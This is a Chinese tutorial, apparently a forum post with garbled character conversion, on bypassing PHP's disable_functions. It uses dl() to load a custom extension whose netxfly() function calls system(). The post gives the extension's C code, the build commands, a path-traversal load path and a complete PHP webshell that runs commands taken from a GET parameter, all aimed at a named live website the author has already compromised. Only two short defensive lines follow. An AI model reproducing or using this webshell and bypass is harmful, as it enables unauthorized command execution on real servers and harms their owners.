前言
Php 是一種功能強大且應用非常廣泛的腳本語言,Internet 中很多的網站都 是通過 php 架構的。使用 php 自帶的 system,exec,passthru,shell_exec, proc_open 函數可直接執行系統指令,給伺服器安全帶來很大的威脅,是以一般 管理者在配置 php.ini 時, 都使用 disable_functions 選項禁止使用以上的危險
函數,給我們的滲透測試帶來了很大的麻煩。
dl()函數允許在 php 腳本裡動态加載 php 子產品,enable_dl 選項預設是打開 的,而管理者一般會疏忽這個選項,這樣我們就有機會加載自已編寫的 php 擴 展子產品執行系統指令。extension_dir 選項可指定子產品的目錄,但是可以通過相 對路徑方式饒過。
測試平台為:Red hat Linux 9 + Apache 2.0.59 + php4.4.7。
正文
假設我們得到了目标站點的 WebShell,但 disable_functions 選項限制了system,exec,passthru,shell_exec,proc_open 函數的執行,導緻我們無法 執行 Local Root exploits 來提升權限。
WebShell 位址:http://www.69ngo.com/include/cmd_class.php?cmd=info
通過檢視 phpinfo 資訊得知禁止執行 system,exec,passthru,shell_exec,
proc_open 函數,enable_dl=on,safe_mode=off,如下圖所示:

編寫 php 擴充子產品
目标站點的 php 版本為 4.4.4,apache 為 2.0.52,版本比較舊了,官方現 在隻提供最低版本的 php 和 apache 版本分别為 php-4.4.7 和 httpd-2.0.59。筆 者使用的為 php-4.4.7。
1. 建立 php 擴充子產品
Php 的 ext 目錄下有一個 ext_skel,可生成 php 擴充子產品模闆,友善程式員 編寫 php 擴充子產品。
tar -zxvf php-4.4.7.tar.gz
cd php-4.4.7/ext/
./ ext_skel –extname=security
建立一個名字為 security 的擴充子產品,它會提示如何編寫 php 子產品,如下 圖所示:
上面的指令執行後,會在 ext 目錄下建立一個和子產品名同名的目錄,并自動生成建立 php 子產品所需的檔案,如下圖所示:
2. 配置工程
Config.m4 是擴充子產品配置檔案,檔案内容大緻如下:
dnl If your extension references something external, use with:
dnl PHP_ARG_WITH(security, for security support, dnl Make sure that the comment is aligned:
dnl [ --with-security Include security support])
dnl Otherwise use enable:
dnl PHP_ARG_ENABLE(security, whether to enable security support, dnl Make sure that the comment is aligned:
dnl [ --enable-security Enable security support])
dnl 是注釋符,如果我們要把 php 擴充子產品編譯到 php 中,就去掉PHP_ARG_ENABLE 編譯選項前面的注釋,我們想以 with 模式編譯成.so 子產品, 是以将 PHP_ARG_WITH 選項前面的注釋去掉,最後修改如下圖所示:
3. 編寫代碼
Security.c 中的是模闆代碼,我們在這個模闆中加入自已的代碼就可以了。
/* {{{ security_functions[]
*
* Every user visible function must have an entry in security_functions[].
*/
zend_function_entry security_functions[] = { PHP_FE(confirm_security_compiled, NULL) /* For testing,
remove later. */
{NULL, NULL, NULL} /* Must be the last line in security_functions[]
};
/* }}} */
以上為 php 子產品的入口函數,假如我要建立一個 netxfly 函數,把
PHP_FE(confirm_security_compiled, NULL)改成 PHP_FE(netxfly, NULL)
就可以了,如下圖所示:
Php 子產品的函數格式為 PHP_FUNCTION(函數名),我們把confirm_security_compiled 示例函數改成 netxfly,然後調用 system()函數執行 指令。
PHP_FUNCTION(netxfly)
{
char *arg = NULL;
int arg_len, len;
char string[256];
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s",
&arg, &arg_len) == FAILURE) {
return;
}
System(arg);
然後在 php_security.h 中聲明一下 netxfly 函數,代碼如下:
PHP_FUNCTION(netxfly); /* my Evil function*/
4. 編譯擴充子產品
cd ../../
rm --fr configure
./buildconf --force
./configure --with-security=shared
Make
Make install
如果不出問題,就會在 php-4.4.7/modules/下編譯出 security.a 和security.so。security.a 是導入庫,security.so 就是我們寫的 php 擴充子產品,如 下圖所示:
5. 在本地測試環境中測試
寫一個 test.php,如果函數執行成功就會在本地生成一個 tmp.txt 檔案。如 下圖所示:
6. 釋出到“生産環境”
從 phpinfo 得知目标站點的 extension_dir=/usr/lib/php4, SCRIPT_FILENAME=/pub/vhosts/69ngo/www.69ngo.com/include/cmd_class. php,我們把 security.so 上傳到 cmd_class.php 同一目錄下,是以在用 webshell動态加載 security.so
的路徑為:dl("../../../pub/vhosts/69ngo/www.69ngo.com/include/security.so");
寫一個簡單的 WebShell:
<?php
if ($_GET[cmd] != "")
if (!strcmp($_GET[cmd], "info"))
phpinfo();
else
dl("../../../pub/vhosts/69ngo/www.69ngo.com/include/security.so");
$command = $_GET[cmd] . " >tmp.txt";
netxfly($command);
echo file_get_contents('tmp.txt');
echo "<br>The Command Completed Successful!";
echo "Error, ;)";
?>
上傳webshell到“生産環境”中(目标主機),就可以調用 security.so 子產品中的 netxfly()函數執行系統指令了,如下圖所示:
防禦方法:
1. Safe_mode=on,禁止使用 dl()函數加載外部子產品
2. 将 dl()加到 disable_functions 選項清單中
參考資料:
http://www.xfocus.net/articles/200704/915.html http://www.toplee.com/blog/archives/56.html http://jason.rocklv.net/techdoc/PHPExt.html
。。那位大神要是編譯好了 。求丢一個security.so 拜謝 拜謝!